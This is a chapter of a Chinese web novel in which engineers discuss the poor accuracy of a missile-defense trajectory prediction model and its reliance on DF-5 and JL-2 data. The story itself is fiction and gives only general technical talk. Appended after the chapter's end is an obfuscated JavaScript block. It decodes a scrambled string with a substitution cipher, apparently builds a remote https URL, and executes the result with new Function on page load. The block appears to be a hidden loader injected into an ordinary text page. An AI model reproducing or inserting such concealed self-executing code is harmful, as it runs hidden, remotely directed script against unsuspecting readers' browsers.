“现在最重要的就是做出来一套高效的仿真模型。”
赵秉志在说完现有的模型效果并不理想之后,带着一丝无奈地说道。
现有的弹道导弹飞行轨迹预测模型的数据基础,主要还是来自于东风-5。
因为这款弹道导弹国内已经服役了较长的时间,各方面的数据已经摸索的很清楚。
所以在进行模型建设的时候,主要也是参考了这款导弹的轨迹参数。
因为国内导弹防御系统第一批次将要面临的导弹,都将是射程超过一万公里的洲际弹道导弹。
这也是为什么选取东风-5洲际弹道导弹的参数来进行模拟的重要原因。
“主要问题出在什么方面?”
张星扬有些不是很明白,虽然这种洲际弹道导弹在中段飞行的时候,速度也能够达到十马赫左右的超高速度。
但是,因为这都是属于第一代洲际弹道导弹,所以在弹道方面都还是抛物线弹道,并且因为并没有考虑到导弹防御系统的问题。
所以在机动防御方面,并没有进行特殊的开发。
它们的主要作用,还是将大质量的核弹头,运送到敌对城市。
而这些,都是超过百万吨当量的二代核弹头。
“主要还是初始轨迹数据参数方面的准确率不高。”
这个问题其实出现的有点超乎他们所有人的意料。
对于赵秉志他们所带领的团队来说,这方面的工作他们从来没有做过。
所以在面临这个问题的时候,不知道应该怎么处理。
而张星扬也是没有想到,毕竟在他的脑海之中初始参数的几乎是不会出错的。
不过很快,张星扬就明白了过来。
这个问题,详细说起来,其实还是他自己的问题。
因为赵秉志他们的初始轨迹数据来源,其实是侦察卫星。
但是因为之前国内并没有专业的导弹预警卫星。
所以这方面的数据来源,偏差度之大超乎所有人的想象。
洲际弹道导弹的侦测工作,在这个时候几乎都还是依靠高敏度红外侦察设备,但是现在太空卫星之上的红外侦察设备的敏度和精度都不是很高。
这个时候的导航卫星,能够做到十米级别的精度,在国际上已经算得上是很先进了。
目前无论是国内的北斗卫星,还是覆盖地区最广泛的GPS卫星,都只能够做到这个级别。
但是对于导弹轨迹预测来说,这个精度实在是太低了。
要知道,洲际弹道导弹的直径,虽然相比较于那些射程只有几千公里的弹道导弹大了很多。
但是也只有三四米的直径。
而想要反导系统准确的命中目标,这就要求预测精度最低最低也要有两米。
否则是很难直接摧毁对面来袭导弹的弹头。
这就对导弹在起飞时的数据精度,提出了更高的要求。
这就好像是,在平地上走路,即使初始的角度仅仅只是偏差了一度,但是在你走出去一公里的时候,也有出现巨大的偏差。
所以对于导弹预测模型来说,初始数据的偏差过大,几乎是不太可能得到精确的轨迹。
不过在想明白这一点之后,张星扬也很无奈:
“数据精度的问题,暂时还没有办法给你们解决。”
“我们的高敏度红外侦察卫星,还需要最少半年的时间才能够研发完成。”
“就这还是我给了卫星研究所很大压力的情况之下。”
“就算是卫星研制成功了,但是从发射到正式投入使用最少也是要一两个月的时间。”
“所以这段时间,你们几乎是没有可能拿到更高精度的实际数据。”
因为反导预测模型必要是要建立在大量的实际数据之上。
所以没有足够精确的实际发射数据,是很难建立起标准模型的。
这就好像核武器的开发,虽然在进入二十一世纪之后,世界上的各个国家都已经停止了核试验。
但是这是建立在大家,都在过去的五十年时间之内,通过数十、数百乃至于数千次大气核试验或者是地下核试验,收集到了足够的数据。
已经能够建立起足够精确度的实验模型,通过计算次数达到数千亿次的超级计算机,来进行新型核弹头的开发。
那些想要不进行核实验,仅仅是通过计算机计算就开发出核弹头的国家,只能说,这种好事,只存在梦里。
所以即使是在壹零壹卫星研究所的高敏度红外侦察卫星发射升空之后。
想要直接得到数据,也不是那么简单的一件事。
因为在卫星之外,还必须要发射数次洲际弹道导弹来收集数据。
洲际弹道导弹的发射,又岂是那么简单的?
不提洲际弹道导弹本身的高昂成本问题。
单单是配套的各种监测站、远洋测量船,所涉及到的人力、物力都是普通小国难以想象的。
“不过,如果将数据精度设置在理想状态,轨迹预测精度怎么样?”
既然真实数据有困难,张星扬也只能寄希望于理想状态。
实际上,张星扬脑海之中的储存芯片之中,是有一系列洲际弹道导弹的数据。
不过那些导弹,基本都是数十年之后的第四代弹道导弹。
各个方面的性能,和现如今的第一代、第二代弹道导弹,存在着较大的差异。
如果把这些参数作为模型的基础,那么以现如今的超算速度,给他一个月的时间都不见得能够算得出来导弹轨迹。
要知道,计算机的运算速度基本上都是在指数级别在攀升。
二十年后的超算中心计算速度,是现如今的接近一亿倍!
四十年之后的计算中心,虽然在单个运算单元上的速度并没有一亿倍这样夸张的增长,但是因为超算架构方式的变化。
整体的提升,还是接近于这样的变化。
所以对于和第四代弹道导弹同时期的超算来讲,计算他们的轨迹仅仅需要数秒的时间。
但是对于现如今计算速度,仅仅只有千亿次级别的超算,一年的时间都未必能够计算完成。
“十米精度的轨迹精确率能达到百分之百。”
赵秉志很老实地说出了目前导弹预测模型的精度范围。
“五米级别的轨迹精确度能达到百分之八十五。”
“三米级别的轨迹精确度可以达到百分之七十八。”
“两米级别的轨迹精确度就只有百分之五十七。”
“一米级别的轨迹精确度就更低了,只有百分之三十。”
精度越高,准确率越低。
倒也是符合张星扬在来之前的心理预期。
毕竟导弹的飞行轨迹运算,其实是一件十分复杂的事情。
即使是一枚相同状态的弹道导弹,在不同情况之下的轨迹,都有可能差出来数百米远。
东风-5洲际弹道导弹的打击精度,就是500-2000米。
更别提洲际弹道导弹在生产的过程之中,几乎是做不到一模一样。
即使是在外壳上存在一毫米的起伏,都可能造成在飞行的过程之中,出现数米的偏差。
所以能够在一米级别做到百分之三十的预测精度,已经是很能够让人意外的数据。
国家导弹防御系统,在防御弹道导弹的方式上,因为张星扬一开始的力荐。
所以直接就采用了动能摧毁的防御方式,而不是采用有很大可能失败的爆炸摧毁。
所以精度要求,是张星扬最为看重的一件事。
毕竟对于动能摧毁来说,即使是一点点偏差,都有可能防御失败。
“最新的模型就是这个吗?”
这时候,两人已经来到了超算中心的模型构建实验室。
导弹预测模型,其实分为好几个部分。
因为导弹在整个飞行过程之中,其实会面临不同的情况。
在不同情况之下,模型的参数都会发生很大变化。
尤其是在大气层内环境之下,因为大气各个高度的情况都不一样。
所以模型在这一阶段,其实是最为复杂的。
只有在导弹进入大气层外飞行,导弹弹道稳定下来之后,预测模型才会变得比较简单。
其实如果在地球静止轨道之上,拥有数颗导弹预警卫星,这个问题将会变得更加简单。
因为对于现如今的洲际弹道导弹来说,中段飞行的距离和时间,都是很长的。
导弹预警卫星能够有很长的时间来确认目标,并且将来袭的洲际弹道导弹中段飞行数据,传输给地面的超算中心。
如果仅仅是计算中段飞行,那么超算中心的计算精确将会有极大的提升。
就算是最困难的一米级别精确度,也能够提高到百分之八十以上。
但是现在他们并没有这样的红外预警卫星,只能够从导弹发射起开始计算。
这样对于导弹预测模型来说,难度将是大大增加。
“是的,这一部分主要是大气层内轨迹预测模型。”
赵秉志对着计算机屏幕上密密麻麻,普通人仅仅只是看一眼,都有可能头晕的数据,给张星扬做着介绍。
“这一部分,是潜射导弹的模型?”
张星扬指了指屏幕上的一大段代码问道。
“是的,这一部分我们主要参考的是巨浪。”
赵秉志点了点头说道。
导弹防御系统的初期目标,是防御洲际弹道导弹。
而目前,世界上的洲际弹道导弹,主要就是三种发射方式。
其中两种是陆基的,分别是移动导弹车和固定导弹井。
而最后一种是潜伏在浪涛之下的死亡,核潜艇之中的潜射洲际弹道导弹。
作为大国的三位一体核打击最后防线。
陆基的导弹车和导弹井,都有可能在第一时间被别人的导弹摧毁。
但是,潜伏在大洋数百米之下的核潜艇,能够躲开敌人的第一波攻击。
然后在不用上浮的情况之下,发射潜射的洲际弹道核导弹。
所以导弹防御系统,对于潜射弹道导弹的防御,也是十分看重的。
“巨浪-2?”
张星扬又追问了一下具体的型号。
“是的。”
在得到确定的回答之后,张星扬还是有些惊讶。
毕竟巨浪-2实际上是目前国内最为先进的潜射弹道导弹。
巨浪-2潜射弹道导弹,从90年正式开始研制工作,因为缺乏足够的水下实验数据和模拟实验设备,所以出现了很多问题。
到00年的现在,都还没有能够正式进行一次实弹发射。
即使是模拟弹头的发射,预计都还需要两三年的时间
这也是为什么,张星扬会如此惊讶的原因。
现在武器都还没有锻造完成,他们都要根据武器锻造盾牌了。
“拿这种还没成熟的数据给你们,他们是真的心急啊。”
虽然有些感慨,但是张星扬知道这也是没有办法的事情。
因为国内现在总共就只有巨浪-1,巨浪-2两种潜射弹道导弹。
但是巨浪-1的射程,只有两千多公里。
虽然让国内具备了二次核打击的能力,但是不可否认巨浪-1到了二十一世纪已经落后了。
所以导弹防御系统的首要目标,如果想要实现,那就只能采用现在还没有完成研发工作的巨浪-2。
巨浪-2弹道导弹的射程,相比较于巨浪-1的两千公里,翻了数倍,达到了七千多公里。
自家人知道自家事,张星扬所在的火箭研究院和研制巨浪-2导弹的航天二院合作很多,对于他们的情况也比较了解。
虽然不知道巨浪-2目前的具体进展,但是从后世解密的不少情况来看,目前他们的研制过程并不顺利。
主要还是缺乏水下发射的必要模拟设备,导致对于导弹的情况摸索比较困难。
尤其是在缺少模拟设备的情况之下,想要摸透复杂的水下动力情况,即使是依靠大型超算,都不太现实。
要知道水流的扰动,可比大气的扰动要强烈的多。
在同样发射情况之下,陆基发射的导弹想要保持发射的稳定,要比水下发射导弹保持稳定,简单很多。
“这些已经是他们现在几乎是所有的数据了。”
赵秉志给张星扬看了看计算机之中少的可怜的数据说道。
“水下发射情况确实很少,不过这部分你们不用做太多考虑。”
张星扬在看了看详细的数据之后说道:
“你们目前的工作重心还是要放在大气层之外飞行的精度、准确率这两个方面。”
求月票,求月票!!!
(本章完)
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();